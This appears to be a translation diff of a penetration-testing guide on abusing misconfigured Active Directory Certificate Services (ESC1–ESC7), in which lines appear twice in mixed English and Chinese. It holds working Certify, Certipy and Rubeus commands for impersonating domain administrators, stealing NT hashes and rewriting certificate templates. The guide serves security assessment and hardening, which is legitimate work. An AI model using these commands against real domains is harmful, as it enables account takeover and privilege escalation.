### Enterprise CA Enrollment Rights
CA 的权限在其安全描述符中定义,可通过 Certificate Authority 管理控制台查看。一些设置甚至允许低权限用户进行远程访问,这可能构成安全隐患。
CA 的权限在其安全描述符中列出,可通过 Certificate Authority 管理控制台访问。有些设置甚至允许低权限用户进行远程访问,这可能是一个安全隐患。
### 额外颁发控制
### Additional Issuance Controls
可能适用的某些控制包括
可能会应用某些控制,例如
- **Manager Approval**:将请求置于挂起状态,直到证书管理员批准。
- **Enrolment Agents and Authorized Signatures**:指定 CSR 所需的签名数量及必要的 Application Policy OIDs。
- **Enrolment Agents and Authorized Signatures**:指定 CSR 所需的签名数量以及所需的 Application Policy OIDs。
### 请求证书的方法
### Methods to Request Certificates
可以通过以下方式请求证书:
1. **Windows Client Certificate Enrollment Protocol** (MS-WCCE),使用 DCOM 接口
2. **ICertPassage Remote Protocol** (MS-ICPR),通过命名管道或 TCP/IP
3. 通过安装了 Certificate Authority Web Enrollment role 的 **certificate enrollment web interface**
4. **Certificate Enrollment Service** (CES),配合 Certificate Enrollment Policy (CEP) 服务使用
5. 用于网络设备的 **Network Device Enrollment Service** (NDES),使用 Simple Certificate Enrollment Protocol (SCEP)。
1. 使用 DCOM 接口的 **Windows Client Certificate Enrollment Protocol** (MS-WCCE)。
2. 通过命名管道或 TCP/IP 使用 **ICertPassage Remote Protocol** (MS-ICPR)。
3. 安装 Certificate Authority Web Enrollment 角色后使用 **certificate enrollment web interface**
4. 与 Certificate Enrollment Policy (CEP) 服务配合使用的 **Certificate Enrollment Service** (CES)
5. 面向网络设备的 **Network Device Enrollment Service** (NDES),使用 Simple Certificate Enrollment Protocol (SCEP)。
Windows 用户可以通过 GUI`certmgr.msc``certlm.msc`)或命令行工具(`certreq.exe` 或 PowerShell 的 `Get-Certificate` 命令)请求证书。
Windows 用户可以通过 GUI`certmgr.msc``certlm.msc`)或命令行工具(`certreq.exe` 或 PowerShell 的 `Get-Certificate` 命令)请求证书。
```bash
# Example of requesting a certificate using PowerShell
Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My"
```
## 证书认证
## Certificate Authentication
Active Directory (AD) 支持证书认证,主要使用 **Kerberos****Secure Channel (Schannel)** 协议。
### Kerberos 认证流程
### Kerberos Authentication Process
在 Kerberos 认证流程中,用户请求 Ticket Granting Ticket (TGT) 时,该请求由用户证书的 **私钥** 签名。该请求会被域控制器进行多项校验,包括证书的 **有效性**、**路径** 和 **吊销状态**。校验还包括确认证书来源是否受信任,以及确认证书颁发者是否存在于 **NTAUTH 证书存储** 中。校验通过后会颁发 TGT。AD 中的 **`NTAuthCertificates`** 对象位于:
在 Kerberos 认证流程中,用户请求 Ticket Granting Ticket (TGT) 时,该请求会使用用户证书的 **私钥** 进行签名。域控制器会对该请求执行多项验证,包括证书的 **有效性**、**路径** 和 **吊销状态**。验证还包括确认证书来自受信任的来源,并确认颁发者是否存在于 **NTAUTH 证书存储**。验证通过后会签发 TGT。AD 中的 **`NTAuthCertificates`** 对象位于:
```bash
CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>
```
是建立证书认证信任的核心
对于建立证书认证的信任至关重要
### Secure Channel (Schannel) Authentication
### 安全通道 (Schannel) 认证
Schannel 促进安全的 TLS/SSL 连接,在握手期间,客户端会出示一个证书;如果该证书被成功验证,则授权访问。证书与 AD 帐户的映射可能涉及 Kerberos 的 **S4U2Self** 功能或证书的 **Subject Alternative Name (SAN)**,以及其他方法。
Schannel 协助建立安全的 TLS/SSL 连接,在握手过程中,客户端会出示证书;如果证书验证成功,则授予访问权限。将证书映射到 AD 帐户可能涉及 Kerberos 的 **S4U2Self** 功能或证书的 **Subject Alternative Name (SAN)**,以及其他方法。
### AD Certificate Services Enumeration
### AD 证书服务枚举
AD 的证书服务可以通过 LDAP 查询进行枚举,揭示有关 **Enterprise Certificate Authorities (CAs)** 及其配置的信息。任何经过域身份验证的用户都可以访问这些信息,无需特殊权限。像 **[Certify](https://github.com/GhostPack/Certify)** 和 **[Certipy](https://github.com/ly4k/Certipy)** 这样的工具用于在 AD CS 环境中进行枚举和漏洞评估。
可以通过 LDAP 查询来枚举 AD 的证书服务,从而揭示 **Enterprise Certificate Authorities (CAs)** 及其配置的信息。任何经过域认证的用户都可以访问这些信息,无需特殊权限。像 **[Certify](https://github.com/GhostPack/Certify)** 和 **[Certipy](https://github.com/ly4k/Certipy)** 这样的工具用于在 AD CS 环境中进行枚举和漏洞评估。
Commands for using these tools include:
用于使用这些工具的命令包括:
```bash
# Enumerate trusted root CA certificates, Enterprise CAs and HTTP enrollment endpoints
# Useful flags: /domain, /path, /hideAdmins, /showAllPermissions, /skipWebServiceChecks

View File

@ -3,7 +3,7 @@
{{#include ../../../banners/hacktricks-training.md}}
**这是下文章中升技术部分的摘要:**
**这是下文章中关于提升技术部分的摘要:**
- [https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf)
- [https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
@ -15,30 +15,30 @@
### Misconfigured Certificate Templates - ESC1 Explained
- **Enrolment rights are granted to low-privileged users by the Enterprise CA.**
- **Manager approval is not required.**
- **No signatures from authorized personnel are needed.**
- **Security descriptors on certificate templates are overly permissive, allowing low-privileged users to obtain enrolment rights.**
- **Certificate templates are configured to define EKUs that facilitate authentication:**
- **注册权限被 Enterprise CA 授予给低权限用户。**
- **不需要经理批准。**
- **不需要授权人员的签名。**
- **证书模板上的安全描述符过于宽松,允许低权限用户获得注册权限。**
- **证书模板被配置为定义便于身份验证的 EKU**
- Extended Key Usage (EKU) identifiers such as Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), or no EKU (SubCA) are included.
- **The ability for requesters to include a subjectAltName in the Certificate Signing Request (CSR) is allowed by the template:**
- The Active Directory (AD) prioritizes the subjectAltName (SAN) in a certificate for identity verification if present. This means that by specifying the SAN in a CSR, a certificate can be requested to impersonate any user (e.g., a domain administrator). Whether a SAN can be specified by the requester is indicated in the certificate template's AD object through the `mspki-certificate-name-flag` property. This property is a bitmask, and the presence of the `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` flag permits the specification of the SAN by the requester.
- **模板允许请求者在 Certificate Signing Request (CSR) 中包含 subjectAltName**
- Active Directory (AD) 在证书中存在 subjectAltName (SAN) 时,会优先使用 SAN 来进行身份验证。这意味着通过在 CSR 中指定 SAN可以请求伪装为任何用户例如域管理员的证书。是否允许请求者指定 SAN 由证书模板在 AD 中的对象通过 `mspki-certificate-name-flag` 属性指示。该属性是一个位掩码,存在 `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` 标志时,允许请求者指定 SAN。
> [!CAUTION]
> 上述配置允许低权限用户请求带任意 SAN 的证书,从而通过 Kerberos 或 SChannel 以任何域主体的身份进行身份验证。
> 上述配置允许低权限用户请求带任意 SAN 的证书,从而能够通过 Kerberos 或 SChannel 以任何域主体进行身份验证。
此功能有时被启用以支持产品或部署服务即时生成 HTTPS 或主机证书,或因缺乏理解而被误配置
此功能有时被启用以支持产品或部署服务即时生成 HTTPS 或主机证书,或因缺乏理解而被误
需要注意的是,使用此选项创建证书会触发警告,而当复制现有证书模板(例如启用了 `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT``WebServer` 模板)并随后修改以包含身份验证 OID 时,则不会出现该警告。
需要注意的是,使用此选项创建证书会触发警告;但如果复制现有的证书模板(例如启用了 `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT``WebServer` 模板)然后修改以包含身份验证 OID,则不会出现该警告。
### 滥用
### Abuse
**查找易受攻击的证书模板** 你可以运行:
**查找易受攻击的证书模板**你可以运行:
```bash
Certify.exe find /vulnerable
certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128
```
要**滥用此漏洞以冒充管理员**,可以运行:
**滥用此漏洞以冒充管理员**,可以运行:
```bash
# Impersonate by setting SAN to a target principal (UPN or sAMAccountName)
Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator@corp.local
@ -54,68 +54,68 @@ Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:ad
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' \
-template 'ESC1' -upn 'administrator@corp.local'
```
然后你可以将生成的 **证书转换为 `.pfx` 格式**,并再次使用 **Rubeus 或 certipy 进行身份验证**
然后你可以将生成的 **证书转换为 `.pfx`** 格式,并再次使用它通过 **Rubeus 或 certipy 进行身份验证**
```bash
Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
```
Windows 二进制文件 "Certreq.exe" & "Certutil.exe" 可用于生成 PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
Windows 二进制文件 "Certreq.exe" "Certutil.exe" 可用于生成 PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
可以通过运行以下 LDAP 查询枚举 AD Forest 的配置架构中的证书模板,具体为那些不需要批准或签名、具有 Client Authentication 或 Smart Card Logon EKU 且启用了 `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` 标志的模板:
可以通过运行以下 LDAP 查询来枚举 AD 林的配置架构中的证书模板,尤其是那些不需要批准或签名、具有 Client Authentication 或 Smart Card Logon EKU 且启用了 `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` 标志的模板:
```
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
```
## 错误配置的证书模板 - ESC2
## 配置错误的证书模板 - ESC2
### 解释
第二种滥用场景是第一种的一个变体:
第二种滥用情形是第一种的变体:
1. Enterprise CA 向低权限用户授予了证书注册enrollment权限。
2. 对经理批的要求被禁用。
3. 对授权签名的需求被省略。
4. 证书模板的安全描述符过于宽松,授予低权限用户证书注册权限。
5. **证书模板被定义为包含 Any Purpose EKU 或没有 EKU。**
1. Enterprise CA 向低权限用户授予注册权限。
2. 对经理批的要求被禁用。
3. 授权签名的要求被省略。
4. 证书模板的安全描述符过于宽松,授予低权限用户证书注册权限。
5. **证书模板被定义为包含 Any Purpose EKU 或 EKU。**
**Any Purpose EKU** 允许攻击者获取用于**任意用途**的证书,包括客户端认证、服务器认证、代码签名等。可以采用用于 **ESC3** 的相同技术来利用该场景
Any Purpose EKU 允许攻击者为任何用途获取证书,包括客户端身份验证、服务器身份验证、代码签名等。可以使用与 ESC3 相同的技术来利用这种情形
没有 EKU 的证书(作为下级 CA 证书)可以被用于**任意用途**,并且**也可以用于签发新证书**。因此,攻击者可以利用下级 CA 证书在新证书中指定任意 EKU 或字段。
没有 EKU 的证书(作为下级 CA 证书)可以被用于任何目的,也可以用来签发新的证书。因此,攻击者可以利用下级 CA 证书在新证书中指定任意 EKU 或字段。
然而,如果下级 CA 未被 **`NTAuthCertificates`** 对象信任(默认设置),为**域身份验证**创建的新证书将无法生效。尽管如此,攻击者仍然可以创建带有任意 EKU 和任意证书值的**新证书**。这些证书可能被**滥用**于多种用途(例如代码签名、服务器认证等),并可能对网络中的其他应用(如 SAML、AD FS 或 IPSec产生重大影响。
然而,如果下级 CA 未被 `NTAuthCertificates` 对象信任(这是默认设置),为域身份验证创建的新证书将无法生效。尽管如此,攻击者仍然可以创建具有任意 EKU 和任意证书值的新证书。这些证书可能被滥用来实现广泛的目的(例如代码签名、服务器身份验证等),并可能对网络中其他应用(如 SAML、AD FS 或 IPSec产生重大影响。
要在 AD Forest 的配置架构中枚举符合该场景的模板,可以运行以下 LDAP 查询:
要在 AD Forest 的配置架构中枚举符合此情形的模板,可运行以下 LDAP 查询:
```
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))
```
## 配置不当的 Enrolment Agent 模板 - ESC3
## 配置错误的 Enrolment Agent 模板 - ESC3
### 说明
### 解释
个场景类似第一个和第二个,但**滥用**了一个**不同的 EKU**Certificate Request Agent和**两不同的模板**(因此有两套要求),
种情形类似第一个和第二个,但**滥用**了一个**不同的 EKU**Certificate Request Agent和**两不同的模板**(因此有两套要求),
The **Certificate Request Agent EKU** (OID 1.3.6.1.4.1.311.20.2.1),在 Microsoft 文档中称为 **Enrollment Agent**,允许一个主体代表另一个用户为其**enroll**一个**certificate**。
**Certificate Request Agent EKU** (OID 1.3.6.1.4.1.311.20.2.1),在 Microsoft 文档中称为 **Enrollment Agent**,允许主体**为另一个用户注册**该**证书**。
The **“enrollment agent”** 会在这样的**模板**中 enroll并使用得到的 **certificate 来代表另一个用户对 CSR 进行联合签名co-sign a CSR**。然后它将**联合签名的 CSR**发送给 CA在允许 “enroll on behalf of” 的**模板**中进行 enrollCA 会返回一个属于“另一个”用户的**certificate**。
该**“enrollment agent”** 在此类**模板**上进行注册,并使用得到的**证书替其他用户对 CSR 进行共签**。然后它将**共签的 CSR 发送**给 CA注册一个**允许 “enroll on behalf of”** 的**模板**CA 随后返回一个**属于 “其他” 用户的证书**。
**要求 1**
- Enterprise CA 将 enrollment 权限授予低权限用户
- 省略了 manager approval 的要求。
- 不要求 authorized signatures
- 证书模板的 security descriptor 过于宽松,授予低权限用户 enrollment 权限。
- 证书模板包含 Certificate Request Agent EKU允许代表其他主体请求其他证书模板。
- Enterprise CA 向低权限用户授予了 enrollment 权限
- 省略了经理批准的要求。
- 无需授权签名的要求
- 证书模板的安全描述符过于宽松,向低权限用户授予了 enrollment 权限。
- 证书模板包含 Certificate Request Agent EKU使其能够代表其他主体请求其他证书模板。
**要求 2**
- Enterprise CA 将 enrollment 权限授予低权限用户
- manager approval 被绕过。
- 模板的 schema 版本为 1 或大于 2且指定了一个需要 Certificate Request Agent EKU 的 Application Policy Issuance Requirement。
- 证书模板中定义的某个 EKU 允许 domain authentication
- CA 未对 enrollment agents 应用限制。
- Enterprise CA 向低权限用户授予了 enrollment 权限
- 绕过了经理批准
- 模板的 schema 版本为 1 或大于 2指定了一个需要 Certificate Request Agent EKU 的 Application Policy Issuance Requirement。
- 证书模板中定义的某个 EKU 允许域认证
- CA 未对 enrollment agent 应用限制。
### 滥用
你可以使用 [**Certify**](https://github.com/GhostPack/Certify) 或 [**Certipy**](https://github.com/ly4k/Certipy) 来滥用该场景
你可以使用 [**Certify**](https://github.com/GhostPack/Certify) 或 [**Certipy**](https://github.com/ly4k/Certipy) 来滥用此情形
```bash
# Request an enrollment agent certificate
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:Vuln-EnrollmentAgent
@ -129,44 +129,44 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca
# Use Rubeus with the certificate to authenticate as the other user
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
```
The **用户** who are allowed to **获取** an **enrollment agent certificate**, the templates in which enrollment **agents** are permitted to enroll, and the **accounts** on behalf of which the enrollment agent may act can be constrained by enterprise CA. This is achieved by opening the `certsrc.msc` **snap-in**, **right-clicking on the CA**, **clicking Properties**, and then **navigating** to the “Enrollment Agents” tab.
允许**获取****enrollment agent certificate**的**用户**、允许enrollment **agents**注册的模板以及enrollment agent可以代表其操作的**帐户**都可以由企业CA加以限制。可通过打开`certsrc.msc` **snap-in****在 CA 上右键单击****单击 Properties**,然后**导航**到 “Enrollment Agents” 选项卡实现。
However, it is noted that the **默认** setting for CAs is to “**Do not restrict enrollment agents**.” When the restriction on enrollment agents is enabled by administrators, setting it to “Restrict enrollment agents,” the default configuration remains extremely permissive. It allows **Everyone** access to enroll in all templates as anyone.
但是,值得注意的是 CA 的**默认**设置是“**Do not restrict enrollment agents**”。当管理员启用对 enrollment agents 的限制并将其设置为“Restrict enrollment agents”时默认配置仍然非常宽松。它允许**Everyone**以任何身份在所有模板中进行注册。
## 易受攻击的证书模板访问控制 - ESC4
### **解释**
### **说明**
The **security descriptor** on **certificate templates** defines the **permissions** specific **AD principals** possess concerning the template.
**证书模板**上的**安全描述符**定义了特定**AD 主体**对该模板所拥有的**权限**。
Should an **攻击者** possess the requisite **权限** to **修改** a **template** and **引入** any **可利用的错误配置** outlined in **prior sections**, privilege escalation could be facilitated.
如果**攻击者**拥有必要的**权限**去**更改**某个**模板**并施加在**先前章节**中列出的任何**可利用的错误配置**,则可能促成权限提升。
Notable permissions applicable to certificate templates include:
值得注意的适用于证书模板的权限包括:
- **Owner:**含地赋予对对象的控制权,允许修改任何属性。
- **FullControl:** 赋予对对象的完全控制,包括修改任何属性的能力。
- **Owner:**式地授予对对象的控制,允许修改任何属性。
- **FullControl:** 赋予对对象的完全控制权,包括更改任何属性的能力。
- **WriteOwner:** 允许将对象的所有者更改为攻击者可控制的主体。
- **WriteDacl:** 允许调整访问控制,可能授予攻击者 FullControl
- **WriteProperty:** 授权编辑任何对象属性。
- **WriteDacl:** 允许调整访问控制,可能将 FullControl 授予攻击者
- **WriteProperty:** 授权编辑对象的任意属性。
### 滥用
To identify principals with edit rights on templates and other PKI objects, enumerate with Certify:
要识别在模板和其他 PKI 对象上具有编辑权限的主体,请使用 Certify 枚举:
```bash
Certify.exe find /showAllPermissions
Certify.exe pkiobjects /domain:corp.local /showAdmins
```
An example of a privesc like the previous one:
下面是一个与之前类似的 privesc 示例:
<figure><img src="../../../images/image (814).png" alt=""><figcaption></figcaption></figure>
ESC4 is when a user has write privileges over a certificate template. This can for instance be abused to overwrite the configuration of the certificate template to make the template vulnerable to ESC1.
ESC4 是指用户对证书模板具有写入权限。比如,可以滥用该权限覆盖证书模板的配置,从而使该模板对 ESC1 易受攻击。
As we can see in the path above, only `JOHNPC` has these privileges, but our user `JOHN` has the new `AddKeyCredentialLink` edge to `JOHNPC`. Since this technique is related to certificates, I have implemented this attack as well, which is known as [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Heres a little sneak peak of Certipys `shadow auto` command to retrieve the NT hash of the victim.
如上路径所示,只有 `JOHNPC` 拥有这些权限,但我们的用户 `JOHN``JOHNPC` 有新的 `AddKeyCredentialLink` 边。由于该技术与证书相关,我也实现了该攻击,该攻击被称为 [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)。下面是 Certipys `shadow auto` command 用于检索受害者 NT hash 的一个小预览。
```bash
certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
```
**Certipy** 可以使用单个命令覆盖证书模板的配置。**默认** 情况下Certipy 会 **覆盖** 配置,使其 **易受 ESC1 影响**。我们也可以指定 **`-save-old` 参数以保存旧的配置**,这在攻击后用于 **恢复** 配置时会很有用。
**Certipy** 可以用单个命令覆盖证书模板的配置。**默认**情况下,**Certipy** 会**覆盖**配置以使其**易受 ESC1 攻击**。我们也可以指定 **`-save-old` 参数来保存旧的配置**,这在我们攻击后**恢复**配置时会很有用。
```bash
# Make template vuln to ESC1
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
@ -177,37 +177,37 @@ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target
# Restore config
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json
```
## Vulnerable PKI Object Access Control - ESC5
## 易受攻击的 PKI 对象访问控制 - ESC5
### 说明
基于 ACL 的广泛互联关系网(不仅限于 certificate templates 和 certificate authority可能会影响整个 AD CS 系统的安全性。那些可能显著影响安全的对象包括:
基于 ACL 的相互关联关系形成了一个广泛的网络,除了 certificate templates 和 certificate authority 之外,还包括若干对象,这些对象可能影响整个 AD CS 系统的安全。可能显著影响安全的对象包括:
- CA 服务器的 AD 计算机对象,可能通过 S4U2Self 或 S4U2Proxy 等机制被攻破
- CA 服务器的 AD 计算机对象,可能通过 S4U2Self 或 S4U2Proxy 等机制被妥协
- CA 服务器的 RPC/DCOM 服务。
- 特定容器路径 `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>` 下的任何后代 AD 对象或容器。该路径包括但不限于诸如 Certificate Templates container、Certification Authorities container、NTAuthCertificates 对象以及 Enrollment Services Container 等容器和对象。
- 位于容器路径 `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>` 下的任何后代 AD 对象或容器。该路径包括但不限于 Certificate Templates container、Certification Authorities container、NTAuthCertificates 对象以及 Enrollment Services Container 等容器和对象。
如果低权限攻击者设法控制上述任何关键组件PKI 系统的安全性可能被破坏。
如果低权限攻击者设法控制了这些关键组件中的任何一个PKI 系统的安全就可能被破坏。
## EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6
### 说明
在 [**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage) 中讨论的主题也触及了 Microsoft 所述的 **`EDITF_ATTRIBUTESUBJECTALTNAME2`** 标志的影响。该配置在 Certification Authority (CA) 上启用时,允许在 **任何请求** **subject alternative name** 中包含 **用户定义的值**,包括那些来自 Active Directory® 构造的请求。因此,这一配置允许入侵者通过任何为域 **authentication** 设置并允许 **unprivileged** 用户注册的模板(例如标准 User template进行注册。结果入侵者可以获取证书从而以域管理员或域内 **任何其他活动主体** 的身份进行身份验证。
在 [**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage) 中讨论的主题也涉及 Microsoft 所述的 **`EDITF_ATTRIBUTESUBJECTALTNAME2`** 标志的影响。该配置在 Certification Authority (CA) 上启用时,允许在任何请求的 **subject alternative name** 中包含 **user-defined values**,包括那些从 Active Directory® 构造的请求。因此,这使得入侵者能够通过任何为域 **authentication** 配置且允许 **unprivileged** 用户注册的模板(例如标准的 User template进行注册。结果攻击者可以获取证书从而以域管理员或域内的任何其他活动实体进行身份验证。
**注意**:通过 `certreq.exe` `-attrib "SAN:"` 参数(称为 “Name Value Pairs”**alternative names** 附加到 Certificate Signing Request (CSR) 的方法,与 ESC1 中对 SAN 的利用策略存在 **对比**。这里的区别在于账户信息的封装方式——是作为证书属性而非扩展
注意:通过在 `certreq.exe` 中使用 `-attrib "SAN:"` 参数(称为 “Name Value Pairs”将 alternative names 附加到 Certificate Signing Request (CSR) 的方法,与在 ESC1 中利用 SAN 的策略存在差异。这里的区别在于帐户信息的封装方式——它被包含在证书属性certificate attribute而不是扩展extension
### 滥用
要验证该设置是否已启用,组织可以使用 `certutil.exe` 执行以下命令:
要验证该设置是否已启用,组织可以使用带有 `certutil.exe`以下命令:
```bash
certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"
```
此操作本质上采用 **remote registry access**,因此,另一种方法可能是:
该操作本质上利用了 **remote registry access**,因此一种可替代的方法可能是:
```bash
reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags
```
像 [**Certify**](https://github.com/GhostPack/Certify) 和 [**Certipy**](https://github.com/ly4k/Certipy) 这样的工具能够检测到此误配置并加以利用:
像 [**Certify**](https://github.com/GhostPack/Certify) 和 [**Certipy**](https://github.com/ly4k/Certipy) 这样的工具能够检测到此误配置并加以利用:
```bash
# Detect vulnerabilities, including this one
Certify.exe find
@ -216,39 +216,39 @@ Certify.exe find
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local
```
要更改这些设置,假设拥有 **域管理员** 权限或等权限,可在任何工作站上执行以下命令:
要更改这些设置,假设拥有 **域管理员** 权限或等权限,可在任何工作站上执行以下命令:
```bash
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
```
要在你的环境中禁用此配置,可以使用以下命令移除该标志
要在您的环境中禁用此配置,可以移除该 flag
```bash
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
```
> [!WARNING]
> 在 2022 年 5 月的安全更新之后,新签发的 **证书** 将包含一个 **安全扩展**,该扩展包含 **请求者的 `objectSid` 属性**。对于 ESC1 SID 来源于指定的 SAN。然而对于 **ESC6**SID 反映的是 **请求者的 `objectSid`**,而不是 SAN。\
> 要利用 ESC6系统必须易受 ESC10 (Weak Certificate Mappings) 的影响,后者会**SAN 优先于新的安全扩展**。
> 自 2022 年 5 月安全更新之后,新签发的 **证书** 将包含一个 **安全扩展**,该扩展包含 **请求者的 `objectSid` 属性**。对于 ESC1 SID 来源于指定的 SAN。然而对于 **ESC6**SID 反映的是 **请求者的 `objectSid`**,而不是 SAN。\
> 要利用 ESC6系统必须易受 ESC10 (Weak Certificate Mappings) 的影响,后者会优先考虑 **SAN 而不是新的安全扩展**。
## 脆弱的证书颁发机构访问控制 - ESC7
## 易受攻击的证书颁发机构访问控制 - ESC7
### 攻击 1
#### 解释
#### 说明
证书颁发机构的访问控制通过一组权限来维护,这些权限管理 CA 的操作。可以通过访问 `certsrv.msc`,右键单击 CA选择属性然后转到 Security 选项卡来查看这些权限。此外,还可以使用 PSPKI 模块并运行类似如下的命令来枚举权限:
证书颁发机构的访问控制通过一组权限来维护,这些权限决定 CA 的操作。这些权限可以通过访问 `certsrv.msc`、对 CA 右键单击、选择 属性,然后切换到 安全 选项卡 来查看。此外,也可以使用 PSPKI 模块通过诸如以下的命令枚举这些权限:
```bash
Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access
```
这部分说明了主要权限,即 **`ManageCA`** 和 **`ManageCertificates`**分别对应“CA 管理员”和“证书管理员”角色。
This provides insights into the primary rights, namely **`ManageCA`** and **`ManageCertificates`**, correlating to the roles of “CA 管理员” and “证书管理员” respectively.
#### Abuse
#### 滥用
在证书颁发机构上拥有 **`ManageCA`** 权限允许主体使用 PSPKI 远程修改设置。 这包括切换 **`EDITF_ATTRIBUTESUBJECTALTNAME2`** 标志以允许在任何模板中指定 SANSubject Alternative Name这是域升级的关键环节。
在证书颁发机构上拥有 **`ManageCA`** 权限允许主体使用 PSPKI 远程操作设置。这包括切换 **`EDITF_ATTRIBUTESUBJECTALTNAME2`** 标志以允许在任意模板中指定 SAN这是进行 domain escalation 的关键环节。
可以通过使用 PSPKI 的 **Enable-PolicyModuleFlag** cmdlet 简化此过程,从而在不直接使用 GUI 的情况下进行修改。
可以使用 PSPKI 的 **Enable-PolicyModuleFlag** cmdlet 简化此过程,从而在不直接使用 GUI 的情况下进行修改。
拥有 **`ManageCertificates`** 权限可以批准待处理请求,实际上绕过了“CA certificate manager approval”这一防护。
拥有 **`ManageCertificates`** 权限可以批准待处理请求,从而有效规避“CA 证书管理员审批”这一防护。
可以结合使用 **Certify****PSPKI** 模块来请求、批准并下载证书:
可以结合 **Certify****PSPKI** 模块来请求、批准并下载证书:
```bash
# Request a certificate that will require an approval
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded
@ -266,31 +266,31 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
```
### 攻击 2
#### 解释
#### 说明
> [!WARNING]
> 在 **上一轮攻击** 中使用了 **`Manage CA`** 权限来 **启用** **EDITF_ATTRIBUTESUBJECTALTNAME2** 标志以执行 **ESC6 attack**,但在 CA 服务(`CertSvc`)重启之前这不会生效。当用户拥有 `Manage CA` 访问权限时,该用户也被允许 **重启服务**。然而,这并不意味着用户可以远程重启服务。此外,由于 2022 年 5 月的安全更新,E**SC6 might not work out of the box** 在大多数已打补丁的环境中
> 在**前一次攻击**中,使用了 **`Manage CA`** 权限去**启用** **EDITF_ATTRIBUTESUBJECTALTNAME2** 标志以执行 **ESC6 攻击**,但在 CA 服务(`CertSvc`)重之前这不会任何。当用户拥有 `Manage CA` 访问权限时,该用户也被允许**重启服务**。然而,这**并不意味着用户可以远程重启服务**。此外,由于 2022 年 5 月的安全更新,**ESC6 可能在大多数已打补丁的环境中无法开箱即用**
因此,这里介绍另一种攻击。
Perquisites:
前提条件:
- 仅 **`ManageCA` permission**
- **`Manage Certificates`** permission可以**`ManageCA`** 授予)
- 证书模板 **`SubCA`** 必须**enabled**(可以**`ManageCA`** 启用)
- 仅 **`ManageCA` 权限**
- **`Manage Certificates`** 权限(可**`ManageCA`** 授予)
- 证书模板 **`SubCA`** 必须**启用**(可**`ManageCA`** 启用)
该技术基于这样一个事实:拥有 `Manage CA` _和_ `Manage Certificates` 访问权限的用户可以**发出失败的证书请求**。`SubCA` 证书模板**vulnerable to ESC1**,但**只有管理员**可以在该模板中 enroll。因此**用户**可以**request** 在 **`SubCA`** 中 enroll —— 该请求将被 **denied** —— 但随后可以由管理者 **issued**
